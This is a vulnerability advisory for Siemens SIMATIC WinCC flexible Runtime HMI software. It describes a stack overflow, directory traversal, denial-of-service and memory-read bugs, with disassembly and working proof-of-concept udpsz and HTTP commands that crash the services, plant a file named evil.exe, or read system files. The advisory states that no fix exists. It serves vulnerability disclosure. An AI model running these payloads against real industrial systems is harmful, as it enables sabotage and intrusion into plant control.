Siemens SIMATIC WinCC Flexible (Runtime) – Multiple Vulnerabilities
####################################################################### Luigi Auriemma Application: Siemens SIMATIC WinCC flexible (Runtime) http://www.automation.siemens.com/mcms/human-machine-interface/en/visualization-software/wincc-flexible/wincc-flexible-runtime/Pages/Default.aspx Versions: 2008 SP2 + security patch 1 Platforms: Windows Bugs: A] HmiLoad strings stack overflow B] HmiLoad directory traversal C] HmiLoad various Denials of Service D] miniweb directory traversal E] miniweb arbitrary memory read access Exploitation: remote Date: 28 Nov 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's homepage: "WinCC flexible is ideal for use as a Human Machine Interface (HMI) in any machine or process-level application in plant, machine and series-machine construction. WinCC flexible is designed for all sectors of industry and offers engineering software for all SIMATIC HMI operator panels, from the smallest Micro Panel to the Multi Panel, as well as runtime visualization software for PC-based single-user systems running under Windows XP / Windows 7." HmiLoad is a stand-alone tool that should be manually added to the startup folder for automatically start it everytime: http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&objId=32813727&load=treecontent&lang=en&siteid=cseus&aktprim=0&objaction=csview&extranet=standard&viewreg=WW ####################################################################### ======= 2) Bugs ======= The bugs are referred to HmiLoad in Transfer mode, where it listens on port 4410. --------------------------------- A] HmiLoad strings stack overflow --------------------------------- The functions that read data and unicode strings (32 bit size plus data) are affected by a stack overflow during the copying of the input data in a limited buffer trusting the size value provided by the client. Code execution may be possible if the attacker is able to modify the memory after the input data (0x400 bytes) using other types of packets and then sending a big string size for raising an invalid read access exeption with the corrupted SEH: 0040EFAB |. FF76 18 PUSH DWORD PTR DS:[ESI+18] ; /n 0040EFAE |. 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] ; | 0040EFB1 |. 50 PUSH EAX ; |src 0040EFB2 |. 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418] ; | 0040EFB8 |. 50 PUSH EAX ; |dest 0040EFB9 |. E8 2C480000 CALL <JMP.&MSVCR80.memcpy> ; \memcpy ...and... 0040F03C |. FF76 04 PUSH DWORD PTR DS:[ESI+4] ; /n 0040F03F |. 8D46 08 LEA EAX,DWORD PTR DS:[ESI+8] ; | 0040F042 |. 50 PUSH EAX ; |src 0040F043 |. 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418] ; | 0040F049 |. 50 PUSH EAX ; |dest 0040F04A |. E8 9B470000 CALL <JMP.&MSVCR80.memcpy> ; \memcpy ------------------------------ B] HmiLoad directory traversal ------------------------------ The server is affected by a directory traversal vulnerability that allows access (read, write and delete) to any file on the disk outside the expected directory. ------------------------------------- C] HmiLoad various Denials of Service ------------------------------------- The server is affected by various problems that allow an attacker to stop or crash it in various ways. They are not much interesting and useful so it's not important to go deeper in their details. ------------------------------ D] miniweb directory traversal ------------------------------ miniweb.exe is a program that listens on ports 80 and 443 when started. Through the usage of encoded backslashes and directory traversal patterns is possible to download the files outside the download directory. --------------------------------------- E] miniweb arbitrary memory read access --------------------------------------- miniweb is affected by a weird vulnerability that allows an attacker to crash the server due to the access to an arbitrary invalid memory zone during the check of the extension of the requested file. When it handles the HTTP POST requests it checks if the first byte of the URI is equal to 0xfa in which case it considers the URI as a binary sequence of data composed by two 32bit integer numbers used for taking a new URI from the arbitrary memory address calculated on the second number or on the sum of both: 004425E0 /$ 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] ; URI_to_binary 004425E4 |. 85C0 TEST EAX,EAX 004425E6 |. 75 01 JNZ SHORT Miniweb.004425E9 004425E8 |. C3 RETN 004425E9 |> 8038 FA CMP BYTE PTR DS:[EAX],0FA 004425EC |. 75 03 JNZ SHORT Miniweb.004425F1 004425EE |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] 004425F1 \> C3 RETN ... 0041AA38 |. 8B1D B0714500 MOV EBX,DWORD PTR DS:[<&MSVCR80.strncmp>] 0041AA3E |. 83C4 04 ADD ESP,4 0041AA41 |. 8BE8 MOV EBP,EAX 0041AA43 |. 33F6 XOR ESI,ESI 0041AA45 |> 8B86 988D4500 /MOV EAX,DWORD PTR DS:[ESI+458D98] 0041AA4B |. 3BE8 |CMP EBP,EAX 0041AA4D |. 7C 1B |JL SHORT Miniweb.0041AA6A 0041AA4F |. 8B96 948D4500 |MOV EDX,DWORD PTR DS:[ESI+458D94] 0041AA55 |. 50 |PUSH EAX 0041AA56 |. 52 |PUSH EDX 0041AA57 |. 57 |PUSH EDI 0041AA58 |. E8 837B0200 |CALL Miniweb.004425E0 ; URI_to_binary 0041AA5D |. 83C4 04 |ADD ESP,4 0041AA60 |. 50 |PUSH EAX 0041AA61 |. FFD3 |CALL EBX ; strncmp 0041AA63 |. 83C4 0C |ADD ESP,0C 0041AA66 |. 85C0 |TEST EAX,EAX 0041AA68 |. 74 16 |JE SHORT Miniweb.0041AA80 0041AA6A |> 83C6 08 |ADD ESI,8 0041AA6D |. 83FE 08 |CMP ESI,8 0041AA70 |.^72 D3 \JB SHORT Miniweb.0041AA45 ...and... 0041AAC5 |. E8 667A0200 CALL Miniweb.00442530 0041AACA |. 8B2D C4714500 MOV EBP,DWORD PTR DS:[<&MSVCR80._strnicmp>] 0041AAD0 |. 83C4 04 ADD ESP,4 0041AAD3 |. 8BF8 MOV EDI,EAX 0041AAD5 |. 33F6 XOR ESI,ESI 0041AAD7 |> 3BBE A08D4500 /CMP EDI,DWORD PTR DS:[ESI+458DA0] 0041AADD |. 7C 29 |JL SHORT Miniweb.0041AB08 0041AADF |. 8B96 9C8D4500 |MOV EDX,DWORD PTR DS:[ESI+458D9C] 0041AAE5 |. 57 |PUSH EDI 0041AAE6 |. 52 |PUSH EDX 0041AAE7 |. 53 |PUSH EBX 0041AAE8 |. E8 F37A0200 |CALL Miniweb.004425E0 ; URI_to_binary 0041AAED |. 8BCF |MOV ECX,EDI 0041AAEF |. 2B8E A08D4500 |SUB ECX,DWORD PTR DS:[ESI+458DA0] 0041AAF5 |. 83C4 04 |ADD ESP,4 0041AAF8 |. 03C1 |ADD EAX,ECX ; sum 0041AAFA |. 50 |PUSH EAX 0041AAFB |. FFD5 |CALL EBP ; _strnicmp 0041AAFD |. 83C4 0C |ADD ESP,0C 0041AB00 |. 85C0 |TEST EAX,EAX 0041AB02 |. 0F84 82000000 |JE Miniweb.0041AB8A 0041AB08 |> 83C6 08 |ADD ESI,8 0041AB0B |. 83FE 08 |CMP ESI,8 0041AB0E |.^72 C7 \JB SHORT Miniweb.0041AAD7 ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip A] udpsz -C "0004 02 00 00 00 ffffffff" -b a -T SERVER 2308 2+0x400 or udpsz -C "0004 03 00 00 00 00000000 00000000 00000000 00000000 00000000 ffffffff" -b a -T SERVER 2308 2+0x400 and so on, alternatively: udpsz -C "0004" -b 0xff -X 2 8 l 1 -l 0 -T SERVER 2308 2+0x400 B] udpsz -C "0004 03" 0 -C "01000000 80000000" 0x16 -c ".\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0e\0v\0i\0l\0.\0e\0x\0e\0" 0x1e -T SERVER 2308 2+0x400 C] udpsz -C "0004 28" -T SERVER 2308 2+0x400 udpsz -C "0004 21" -T SERVER 2308 2+0x400 udpsz -C "0004 22" -T SERVER 2308 2+0x400 udpsz -C "0004 03" 0 -C "ffffffff" 0x16 -T SERVER 2308 2+0x400 D] http://aluigi.org/mytoolz/mydown.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18166-2.zip mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini E] udpsz -c "POST \xfa\x01\x01\x01\x45\x40\x40\x41 HTTP/1.0\r\n\r\n" -T SERVER 80 -1 ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |